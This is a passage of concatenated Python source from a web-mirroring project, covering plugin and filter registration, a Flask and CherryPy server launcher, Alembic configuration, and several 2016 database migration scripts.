	3  : (WebMirror.TimedTriggers.PageTriggers.EverySixHoursPageTrigger,            hours(4)),
	4  : (WebMirror.TimedTriggers.PageTriggers.EveryOtherDayPageTrigger,             days(2)),
	# 5  : (WebMirror.util.StatusUpdater.Updater.MetaUpdater,                      minutes(10)),
	6  : (Misc.NuForwarder.NuForwarder.NuForwarder,                              minutes(30)),

}


import WebMirror.processor.HtmlProcessor
import WebMirror.processor.GDriveDirProcessor
import WebMirror.processor.GDocProcessor
import WebMirror.processor.MarkdownProcessor
import WebMirror.processor.BinaryProcessor
import WebMirror.processor.RssProcessor
import WebMirror.processor.WattPadJsonProcessor


PLUGINS = [
	WebMirror.processor.HtmlProcessor.HtmlPageProcessor,
	WebMirror.processor.GDriveDirProcessor.GDriveDirProcessor,
	WebMirror.processor.GDocProcessor.GdocPageProcessor,
	WebMirror.processor.MarkdownProcessor.MarkdownProcessor,
	WebMirror.processor.BinaryProcessor.BinaryResourceProcessor,
	WebMirror.processor.RssProcessor.RssProcessor,
	WebMirror.processor.WattPadJsonProcessor.WattPadJsonProcessor,
]


import WebMirror.OutputFilters.RoyalRoadL.RRLSeriesPageFilter
import WebMirror.OutputFilters.RoyalRoadL.RRLSeriesUpdateFilter
import WebMirror.OutputFilters.WattPad.WattPadSeriesPageFilter
import WebMirror.OutputFilters.JapTem.JapTemSeriesPageFilter
import WebMirror.OutputFilters.Booksie.BooksieSeriesPageFilter
import WebMirror.OutputFilters.LNDB.LNDBSeriesPageFilter
import WebMirror.OutputFilters.Twitter.TwitterFilter

FILTERS = [
	WebMirror.OutputFilters.RoyalRoadL.RRLSeriesPageFilter.RRLSeriesPageProcessor,
	WebMirror.OutputFilters.RoyalRoadL.RRLSeriesUpdateFilter.RRLSeriesUpdateFilter,

	WebMirror.OutputFilters.JapTem.JapTemSeriesPageFilter.JapTemSeriesPageProcessor,
	#WebMirror.OutputFilters.WattPad.WattPadSeriesPageFilter.WattPadSeriesPageFilter,
	WebMirror.OutputFilters.Booksie.BooksieSeriesPageFilter.BooksieSeriesPageProcessor,
	WebMirror.OutputFilters.LNDB.LNDBSeriesPageFilter.LNDBSeriesPageFilter,


	WebMirror.OutputFilters.Twitter.TwitterFilter.TwitterProcessor,
]

import WebMirror.PreProcessors.LiveJournalPreprocess
import WebMirror.PreProcessors.RedditPreprocess
import WebMirror.PreProcessors.WattPadPreprocess
import WebMirror.PreProcessors.TgStoryTimePreprocess
import WebMirror.PreProcessors.RRLPreprocess

PREPROCESSORS = [
	WebMirror.PreProcessors.LiveJournalPreprocess.LJPreprocessor,
	WebMirror.PreProcessors.RedditPreprocess.RedditPreprocessor,
	WebMirror.PreProcessors.WattPadPreprocess.WattPadPreprocessor,
	WebMirror.PreProcessors.TgStoryTimePreprocess.TgStoryTimePreprocessor,


	# Disable the RRL Preprocessor since they rolled back the site.
	# WebMirror.PreProcessors.RRLPreprocess.RRLListPagePreprocessor,
	# WebMirror.PreProcessors.RRLPreprocess.RRLSeriesPagePreprocessor,
	# WebMirror.PreProcessors.RRLPreprocess.RRLChapterPagePreprocessor,
]


# import WebMirror.OutputFilters.WattPad.WattPadInit

INIT_CALLS = [
	#WebMirror.OutputFilters.WattPad.WattPadInit.init_call
]

print("Processing plugins: %s, active filters: %s, trigger plugins: %s" % (len(PLUGINS), len(FILTERS), len(scrapePlugins)))







RUNSTATE       = True
FEEDER_STARTED = False

RSS_DEBUG      = False

RULE_CACHE         = None
SPECIAL_CASE_CACHE = None


IS_FLASK = False





#!flask/bin/python

import settings
if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()

# This HAS to be included before the app, to prevent circular dependencies.
# import WebMirror.runtime_engines
# WebMirror.runtime_engines.init_engines()

from app import app
import threading
import time
import calendar

# import FeedFeeder.FeedFeeder
import flags




def thread_run():
	interface = None
	while flags.RUNSTATE:
		try:
			if not interface:
				interface = FeedFeeder.FeedFeeder.FeedFeeder()
			interface.process()
		except Exception:
			print("Attempting to reconnect. Please stand by.")
			interface = None
			time.sleep(10)
		time.sleep(1)


def startBackgroundThread():
	print("ThreadStarter")

	bk_thread = threading.Thread(target = thread_run)
	bk_thread.start()
	return bk_thread


def go():
	flags.IS_FLASK = True
	settings.MAX_DB_SESSIONS = 10

	import sys

	if not "debug" in sys.argv:
		print("Starting background thread")
		# bk_thread = startBackgroundThread()

	if "debug" in sys.argv:
		print("Running in debug mode.")
		app.run(host='0.0.0.0', port=5001, debug=True)
	else:
		print("Running in normal mode.")
		# app.run(host='0.0.0.0', port=5001, processes=10)
		# app.run(host='0.0.0.0', port=5001, threaded=True)

		import cherrypy
		import logging


		def fixup_cherrypy_logs():
			loggers = logging.Logger.manager.loggerDict.keys()
			for name in loggers:
				if name.startswith('cherrypy.'):
					print("Fixing %s." % name)
					logging.getLogger(name).propagate = 0


		cherrypy.tree.graft(app, "/")
		cherrypy.server.unsubscribe()

		# Instantiate a new server object
		server = cherrypy._cpserver.Server()
		# Configure the server object
		server.socket_host = "0.0.0.0"

		server.socket_port = 5001
		server.thread_pool = 8

		# For SSL Support
		# server.ssl_module            = 'pyopenssl'
		# server.ssl_certificate       = 'ssl/certificate.crt'
		# server.ssl_private_key       = 'ssl/private.key'
		# server.ssl_certificate_chain = 'ssl/bundle.crt'

		# Subscribe this server
		server.subscribe()

		# fixup_cherrypy_logs()

		if hasattr(cherrypy.engine, 'signal_handler'):
			cherrypy.engine.signal_handler.subscribe()
		# Start the server engine (Option 1 *and* 2)
		cherrypy.engine.start()
		cherrypy.engine.block()
		# fixup_cherrypy_logs()



	print()
	print("Interrupt!")
	# if not "debug" in sys.argv:
	# 	print("Joining on background thread")
	# 	flags.RUNSTATE = False
	# 	bk_thread.join()

	# print("Thread halted. App exiting.")

if __name__ == "__main__":
	started = False
	if not started:
		started = True
		go()






from __future__ import with_statement
from alembic import context
from sqlalchemy import engine_from_config, pool
from logging.config import fileConfig


# Path hackery
import os.path
import sys
sys.path.append(os.path.abspath(os.getcwd()))

# this will overwrite the ini-file sqlalchemy.url path
# with the path given in the config of the main code
import WebMirror.database
context.config.set_main_option('sqlalchemy.url', WebMirror.database.SQLALCHEMY_DATABASE_URI)


# this is the Alembic Config object, which provides
# access to the values within the .ini file in use.
config = context.config

# Interpret the config file for Python logging.
# This line sets up loggers basically.
fileConfig(config.config_file_name)

# add your model's MetaData object here
# for 'autogenerate' support
# from myapp import mymodel
# target_metadata = mymodel.Base.metadata
base = WebMirror.database.Base
target_metadata = base.metadata

# other values from the config, defined by the needs of env.py,
# can be acquired:
# my_important_option = config.get_main_option("my_important_option")
# ... etc.

def include_object(object, name, type_, reflected, compare_to):

	# Ignore a few special things (partial intexes on distance, trigram index, and the
	# autogenerated table from apscheduler).
	ignored = [
		'ix_web_pages_distance_filtered',
		'ix_web_pages_distance_filtered_nowp',
		'ix_web_pages_distance_filtered_wp',
		'ix_web_pages_url_ops',
		'apscheduler',
	]

	# Allow items with null names (it was an issue).
	if not object.name:
		return True

	if any([tmp in object.name for tmp in ignored]):
		print((object.name, object, name, type, reflected, compare_to))
		return False

	return True


def run_migrations_online():
	"""Run migrations in 'online' mode.

	In this scenario we need to create an Engine
	and associate a connection with the context.

	"""
	connectable = engine_from_config(
		config.get_section(config.config_ini_section),
		prefix='sqlalchemy.',
		poolclass=pool.NullPool)

	with connectable.connect() as connection:
		context.configure(
			connection      = connection,
			target_metadata = target_metadata,
			include_object  = include_object,
		)

		with context.begin_transaction():
			context.run_migrations()

run_migrations_online()






"""remove old history tool

Revision ID: 09ec7dda0433
Revises: 40381d5477b5
Create Date: 2016-02-05 19:42:47.827900

"""

# revision identifiers, used by Alembic.
revision = '09ec7dda0433'
down_revision = '40381d5477b5'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText

from sqlalchemy.dialects import postgresql

def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint('web_pages_previous_release_fkey', 'web_pages', type_='foreignkey')
    op.drop_column('web_pages', 'previous_release')
    op.drop_table('web_page_history')
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('web_pages', sa.Column('previous_release', sa.INTEGER(), autoincrement=False, nullable=True))
    op.create_foreign_key('web_pages_previous_release_fkey', 'web_pages', 'web_page_history', ['previous_release'], ['id'])
    op.create_table('web_page_history',
    sa.Column('id', sa.INTEGER(), nullable=False),
    sa.Column('errno', sa.INTEGER(), autoincrement=False, nullable=True),
    sa.Column('url', sa.TEXT(), autoincrement=False, nullable=False),
    sa.Column('file', sa.INTEGER(), autoincrement=False, nullable=True),
    sa.Column('distance', sa.INTEGER(), autoincrement=False, nullable=False),
    sa.Column('is_text', sa.BOOLEAN(), autoincrement=False, nullable=True),
    sa.Column('title', citext.CIText(), autoincrement=False, nullable=True),
    sa.Column('mimetype', sa.TEXT(), autoincrement=False, nullable=True),
    sa.Column('content', sa.TEXT(), autoincrement=False, nullable=True),
    sa.Column('fetchtime', postgresql.TIMESTAMP(), autoincrement=False, nullable=True),
    sa.Column('addtime', postgresql.TIMESTAMP(), autoincrement=False, nullable=True),
    sa.Column('tsv_content', postgresql.TSVECTOR(), autoincrement=False, nullable=True),
    sa.Column('root_rel', sa.INTEGER(), autoincrement=False, nullable=False),
    sa.Column('newer_rel', sa.INTEGER(), autoincrement=False, nullable=True),
    sa.Column('older_rel', sa.INTEGER(), autoincrement=False, nullable=True),
    sa.Column('contenthash', sa.TEXT(), autoincrement=False, nullable=True),
    sa.Column('is_diff', sa.BOOLEAN(), autoincrement=False, nullable=True),
    sa.ForeignKeyConstraint(['file'], ['web_files.id'], name='web_page_history_file_fkey'),
    sa.ForeignKeyConstraint(['newer_rel'], ['web_page_history.id'], name='web_page_history_newer_rel_fkey'),
    sa.ForeignKeyConstraint(['older_rel'], ['web_page_history.id'], name='web_page_history_older_rel_fkey'),
    sa.ForeignKeyConstraint(['root_rel'], ['web_pages.id'], name='web_page_history_root_rel_fkey'),
    sa.PrimaryKeyConstraint('id', name='web_page_history_pkey')
    )
    ### end Alembic commands ###






"""More NU stuff

Revision ID: cb674b790e4a
Revises: 52ecc22110c4
Create Date: 2016-06-29 02:24:50.403667

"""

# revision identifiers, used by Alembic.
revision = 'cb674b790e4a'
down_revision = '52ecc22110c4'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('nu_outbound_wrappers', sa.Column('actual_target', sa.Text(), nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('client_id', sa.Text(), nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('client_key', sa.Text(), nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('groupinfo', sa.Text(), nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('outbound_wrapper', sa.Text(), nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('referrer', sa.Text(), nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('releaseinfo', sa.Text(), nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('seriesname', sa.Text(), nullable=True))
    op.create_index(op.f('ix_nu_outbound_wrappers_client_id'), 'nu_outbound_wrappers', ['client_id'], unique=False)
    op.create_index(op.f('ix_nu_outbound_wrappers_client_key'), 'nu_outbound_wrappers', ['client_key'], unique=False)
    op.create_index(op.f('ix_nu_outbound_wrappers_groupinfo'), 'nu_outbound_wrappers', ['groupinfo'], unique=False)
    op.create_index(op.f('ix_nu_outbound_wrappers_seriesname'), 'nu_outbound_wrappers', ['seriesname'], unique=False)
    op.drop_index('ix_nu_outbound_wrappers_container_page', table_name='nu_outbound_wrappers')
    op.drop_index('ix_nu_outbound_wrappers_link_url', table_name='nu_outbound_wrappers')
    op.drop_column('nu_outbound_wrappers', 'container_page')
    op.drop_column('nu_outbound_wrappers', 'link_url')
    op.drop_column('nu_outbound_wrappers', 'target_url')
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('nu_outbound_wrappers', sa.Column('target_url', sa.TEXT(), autoincrement=False, nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('link_url', sa.TEXT(), autoincrement=False, nullable=True))
    op.add_column('nu_outbound_wrappers', sa.Column('container_page', sa.TEXT(), autoincrement=False, nullable=True))
    op.create_index('ix_nu_outbound_wrappers_link_url', 'nu_outbound_wrappers', ['link_url'], unique=False)
    op.create_index('ix_nu_outbound_wrappers_container_page', 'nu_outbound_wrappers', ['container_page'], unique=False)
    op.drop_index(op.f('ix_nu_outbound_wrappers_seriesname'), table_name='nu_outbound_wrappers')
    op.drop_index(op.f('ix_nu_outbound_wrappers_groupinfo'), table_name='nu_outbound_wrappers')
    op.drop_index(op.f('ix_nu_outbound_wrappers_client_key'), table_name='nu_outbound_wrappers')
    op.drop_index(op.f('ix_nu_outbound_wrappers_client_id'), table_name='nu_outbound_wrappers')
    op.drop_column('nu_outbound_wrappers', 'seriesname')
    op.drop_column('nu_outbound_wrappers', 'releaseinfo')
    op.drop_column('nu_outbound_wrappers', 'referrer')
    op.drop_column('nu_outbound_wrappers', 'outbound_wrapper')
    op.drop_column('nu_outbound_wrappers', 'groupinfo')
    op.drop_column('nu_outbound_wrappers', 'client_key')
    op.drop_column('nu_outbound_wrappers', 'client_id')
    op.drop_column('nu_outbound_wrappers', 'actual_target')
    ### end Alembic commands ###






"""New versioning thing

Revision ID: f6cfe0a6836c
Revises: 09ec7dda0433
Create Date: 2016-02-05 19:57:26.713183

"""

# revision identifiers, used by Alembic.
revision = 'f6cfe0a6836c'
down_revision = '09ec7dda0433'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText

from sqlalchemy.dialects import postgresql

def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_table('transaction',
    sa.Column('issued_at', sa.DateTime(), nullable=True),
    sa.Column('id', sa.BigInteger(), nullable=False),
    sa.Column('remote_addr', sa.String(length=50), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('web_pages_version',
    sa.Column('id', sa.Integer(), autoincrement=False, nullable=False),
    sa.Column('state', postgresql.ENUM('new', 'fetching', 'processing', 'complete', 'error', 'removed', name='dlstate_enum', create_type=False), autoincrement=False, nullable=True),
    sa.Column('errno', sa.Integer(), autoincrement=False, nullable=True),
    sa.Column('url', sa.Text(), autoincrement=False, nullable=True),
    sa.Column('starturl', sa.Text(), autoincrement=False, nullable=True),
    sa.Column('netloc', sa.Text(), autoincrement=False, nullable=True),
    sa.Column('file', sa.Integer(), autoincrement=False, nullable=True),
    sa.Column('priority', sa.Integer(), autoincrement=False, nullable=True),
    sa.Column('distance', sa.Integer(), autoincrement=False, nullable=True),
    sa.Column('is_text', sa.Boolean(), autoincrement=False, nullable=True),
    sa.Column('limit_netloc', sa.Boolean(), autoincrement=False, nullable=True),
    sa.Column('title', citext.CIText(), autoincrement=False, nullable=True),
    sa.Column('mimetype', sa.Text(), autoincrement=False, nullable=True),
    sa.Column('type', postgresql.ENUM('western', 'eastern', 'unknown', name='itemtype_enum', create_type=False), autoincrement=False, nullable=True),
    sa.Column('content', sa.Text(), autoincrement=False, nullable=True),
    sa.Column('fetchtime', sa.DateTime(), autoincrement=False, nullable=True),
    sa.Column('addtime', sa.DateTime(), autoincrement=False, nullable=True),
    sa.Column('ignoreuntiltime', sa.DateTime(), autoincrement=False, nullable=True),
    sa.Column('normal_fetch_mode', sa.Boolean(), autoincrement=False, nullable=True),
    sa.Column('tsv_content', sqlalchemy_utils.types.ts_vector.TSVectorType(), autoincrement=False, nullable=True),
    sa.Column('transaction_id', sa.BigInteger(), autoincrement=False, nullable=False),
    sa.Column('end_transaction_id', sa.BigInteger(), nullable=True),
    sa.Column('operation_type', sa.SmallInteger(), nullable=False),
    sa.PrimaryKeyConstraint('id', 'transaction_id')
    )
    # op.create_index(op.f('ix_web_pages_version_distance'), 'web_pages_version', ['distance'], unique=False)
    # op.create_index(op.f('ix_web_pages_version_ignoreuntiltime'), 'web_pages_version', ['ignoreuntiltime'], unique=False)
    # op.create_index(op.f('ix_web_pages_version_netloc'), 'web_pages_version', ['netloc'], unique=False)
    # op.create_index(op.f('ix_web_pages_version_priority'), 'web_pages_version', ['priority'], unique=False)
    # op.create_index(op.f('ix_web_pages_version_state'), 'web_pages_version', ['state'], unique=False)
    # op.create_index('ix_web_pages_version_tsv_content', 'web_pages_version', ['tsv_content'], unique=False, postgresql_using='gin')
    # op.create_index(op.f('ix_web_pages_version_type'), 'web_pages_version', ['type'], unique=False)

    op.create_index(op.f('ix_web_pages_version_id'), 'web_pages_version', ['id'], unique=False)
    op.create_index(op.f('ix_web_pages_version_operation_type'), 'web_pages_version', ['operation_type'], unique=False)
    op.create_index(op.f('ix_web_pages_version_transaction_id'), 'web_pages_version', ['transaction_id'], unique=False)
    op.create_index(op.f('ix_web_pages_version_end_transaction_id'), 'web_pages_version', ['end_transaction_id'], unique=False)
    op.create_index(op.f('ix_web_pages_version_url'), 'web_pages_version', ['url'], unique=False)
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_index(op.f('ix_web_pages_version_url'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_type'), table_name='web_pages_version')
    op.drop_index('ix_web_pages_version_tsv_content', table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_transaction_id'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_state'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_priority'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_operation_type'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_netloc'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_ignoreuntiltime'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_id'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_end_transaction_id'), table_name='web_pages_version')
    op.drop_index(op.f('ix_web_pages_version_distance'), table_name='web_pages_version')
    op.drop_table('web_pages_version')
    op.drop_table('transaction')
    ### end Alembic commands ###






"""empty message

Revision ID: 62f3c5b2444b
Revises: e9210385ec47
Create Date: 2016-07-09 07:08:48.990659

"""

# revision identifiers, used by Alembic.
revision = '62f3c5b2444b'
down_revision = 'e9210385ec47'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('nu_outbound_wrappers', sa.Column('released_on', sa.DateTime(), nullable=True))
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_column('nu_outbound_wrappers', 'released_on')
    ### end Alembic commands ###






"""Fiddling with uniqueness

Revision ID: 8af5f324577a
Revises: bb9d84530f05
Create Date: 2016-07-03 20:14:18.951859

"""

# revision identifiers, used by Alembic.
revision = '8af5f324577a'
down_revision = 'bb9d84530f05'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint('nu_outbound_wrappers_client_id_client_key_seriesname_releas_key', 'nu_outbound_wrappers', type_='unique')
    op.create_unique_constraint(None, 'nu_outbound_wrappers', ['client_id', 'client_key', 'seriesname', 'releaseinfo', 'groupinfo', 'actual_target'])
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint(None, 'nu_outbound_wrappers', type_='unique')
    op.create_unique_constraint('nu_outbound_wrappers_client_id_client_key_seriesname_releas_key', 'nu_outbound_wrappers', ['client_id', 'client_key', 'seriesname', 'releaseinfo', 'groupinfo'])
    ### end Alembic commands ###






"""empty message

Revision ID: bb9d84530f05
Revises: cb674b790e4a
Create Date: 2016-07-03 06:06:40.090459

"""

# revision identifiers, used by Alembic.
revision = 'bb9d84530f05'
down_revision = 'cb674b790e4a'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_unique_constraint(None, 'nu_outbound_wrappers', ['client_id', 'client_key', 'seriesname', 'releaseinfo', 'groupinfo'])
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint(None, 'nu_outbound_wrappers', type_='unique')
    ### end Alembic commands ###






"""empty message

Revision ID: 52ecc22110c4
Revises: f6cfe0a6836c
Create Date: 2016-05-19 22:52:33.458073

"""

# revision identifiers, used by Alembic.
revision = '52ecc22110c4'
down_revision = 'f6cfe0a6836c'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_table('nu_outbound_wrappers',
        sa.Column('id', sa.Integer(), nullable=False),
        sa.Column('container_page', sa.Text(), nullable=True),
        sa.Column('link_url', sa.Text(), nullable=True),
        sa.Column('target_url', sa.Text(), nullable=True),
        sa.PrimaryKeyConstraint('id')
    )
    op.create_index(op.f('ix_nu_outbound_wrappers_container_page'), 'nu_outbound_wrappers', ['container_page'], unique=False)
    op.create_index(op.f('ix_nu_outbound_wrappers_link_url'), 'nu_outbound_wrappers', ['link_url'], unique=False)
    op.drop_index('web_pages_state_netloc_idx', table_name='web_pages')
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_index('web_pages_state_netloc_idx', 'web_pages', ['state', 'netloc'], unique=False)
    op.drop_index(op.f('ix_nu_outbound_wrappers_link_url'), table_name='nu_outbound_wrappers')
    op.drop_index(op.f('ix_nu_outbound_wrappers_container_page'), table_name='nu_outbound_wrappers')
    op.drop_table('nu_outbound_wrappers')
    ### end Alembic commands ###






"""Add validation bool

Revision ID: e9210385ec47
Revises: 8af5f324577a
Create Date: 2016-07-04 04:07:20.909282

"""

# revision identifiers, used by Alembic.
revision = 'e9210385ec47'
down_revision = '8af5f324577a'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('nu_outbound_wrappers', sa.Column('validated', sa.Boolean(), nullable=True))
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_column('nu_outbound_wrappers', 'validated')
    ### end Alembic commands ###






"""starting

Revision ID: fba1df4514fa
Revises: 
Create Date: 2016-01-10 18:27:20.101437

"""

# revision identifiers, used by Alembic.
revision = 'fba1df4514fa'
down_revision = None
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_table('web_page_history',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('errno', sa.Integer(), nullable=True),
    sa.Column('url', sa.Text(), nullable=False),
    sa.Column('file', sa.Integer(), nullable=True),
    sa.Column('distance', sa.Integer(), nullable=False),
    sa.Column('is_text', sa.Boolean(), nullable=True),
    sa.Column('title', citext.CIText(), nullable=True),
    sa.Column('mimetype', sa.Text(), nullable=True),
    sa.Column('content', sa.Text(), nullable=True),
    sa.Column('fetchtime', sa.DateTime(), nullable=True),
    sa.Column('addtime', sa.DateTime(), nullable=True),
    sa.Column('tsv_content', sqlalchemy_utils.types.ts_vector.TSVectorType(), nullable=True),
    sa.Column('root_rel', sa.Integer(), nullable=False),
    sa.Column('newer_rel', sa.Integer(), nullable=True),
    sa.Column('older_rel', sa.Integer(), nullable=True),
    sa.ForeignKeyConstraint(['file'], ['web_files.id'], ),
    sa.ForeignKeyConstraint(['newer_rel'], ['web_page_history.id'], ),
    sa.ForeignKeyConstraint(['older_rel'], ['web_page_history.id'], ),
    sa.ForeignKeyConstraint(['root_rel'], ['web_pages.id'], ),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_index(op.f('ix_web_page_history_distance'), 'web_page_history', ['distance'], unique=False)
    op.create_index('ix_web_page_history_tsv_content', 'web_page_history', ['tsv_content'], unique=False, postgresql_using='gin')
    op.create_index(op.f('ix_web_page_history_url'), 'web_page_history', ['url'], unique=True)
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_index(op.f('ix_web_page_history_url'), table_name='web_page_history')
    op.drop_index('ix_web_page_history_tsv_content', table_name='web_page_history')
    op.drop_index(op.f('ix_web_page_history_distance'), table_name='web_page_history')
    op.drop_table('web_page_history')
    ### end Alembic commands ###






"""release linking

Revision ID: 40381d5477b5
Revises: a4cb7899f08f
Create Date: 2016-01-10 20:27:36.692715

"""

# revision identifiers, used by Alembic.
revision = '40381d5477b5'
down_revision = 'a4cb7899f08f'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
from sqlalchemy.dialects.postgresql import TSVECTOR
ischema_names['citext'] = citext.CIText



def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.add_column('web_pages', sa.Column('previous_release', sa.Integer(), nullable=True))
    op.create_foreign_key(None, 'web_pages', 'web_page_history', ['previous_release'], ['id'])
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_constraint(None, 'web_pages', type_='foreignkey')
    op.drop_column('web_pages', 'previous_release')
    ### end Alembic commands ###






"""starting

Revision ID: a4cb7899f08f
Revises: fba1df4514fa
Create Date: 2016-01-10 18:55:20.339504

"""

# revision identifiers, used by Alembic.
revision = 'a4cb7899f08f'
down_revision = 'fba1df4514fa'
branch_labels = None
depends_on = None

from alembic import op
import sqlalchemy as sa

from sqlalchemy_utils.types import TSVectorType
from sqlalchemy_searchable import make_searchable
import sqlalchemy_utils

# Patch in knowledge of the citext type, so it reflects properly.
from sqlalchemy.dialects.postgresql.base import ischema_names
import citext
import queue
import datetime
from sqlalchemy.dialects.postgresql import ENUM
from sqlalchemy.dialects.postgresql import JSON
